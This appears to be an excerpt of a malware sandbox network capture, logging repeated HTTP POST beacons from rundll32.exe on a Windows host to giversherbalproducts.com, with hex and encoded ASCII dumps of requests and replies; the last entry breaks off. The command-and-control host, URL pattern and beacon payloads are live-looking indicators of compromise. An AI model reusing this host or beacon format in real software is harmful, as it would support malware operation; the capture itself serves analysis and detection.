Oct 4, 2021 16:04:02.059801102 CEST	7473	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:01 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.3	50189	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:02.194102049 CEST	7474	OUT	POST /lBawcxb5/GXp4GXY7InglByp7GkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:02.678828001 CEST	7476	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.3	50190	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:02.474282026 CEST	7475	OUT	POST /lBawcxb5/cgR6FBc8BHI+eUJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:02.972337961 CEST	7477	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.3	50191	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:03.074296951 CEST	7477	OUT	POST /lBawcxb5/P30OKQI7cygoLSMTeD8fHCgsHCpCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:03.773534060 CEST	7479	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:03 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49790	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:28.343796968 CEST	1120	OUT	POST /lBawcxb5/KQsyKkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:28.826030970 CEST	1122	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:28 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzdEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.3	50192	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:03.350625992 CEST	7478	OUT	POST /lBawcxb5/ISh+fnkfGH40HCgAegh7HSAtPik8JwRFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:03.825813055 CEST	7480	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:03 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.3	50193	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:04.213620901 CEST	7481	OUT	POST /lBawcxb5/eRg9eDUFD0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:04.702747107 CEST	7483	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:04 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.3	50194	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:04.215779066 CEST	7481	OUT	POST /lBawcxb5/DDMnAxgYGi8nBgg/Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:04.655652046 CEST	7482	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:04 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.3	50195	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:04.989268064 CEST	7484	OUT	POST /lBawcxb5/HSgvFB0EKX08IDIsQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:05.433120966 CEST	7485	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:05 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.3	50196	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:05.098649025 CEST	7484	OUT	POST /lBawcxb5/EUN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:05.591675043 CEST	7486	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:05 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 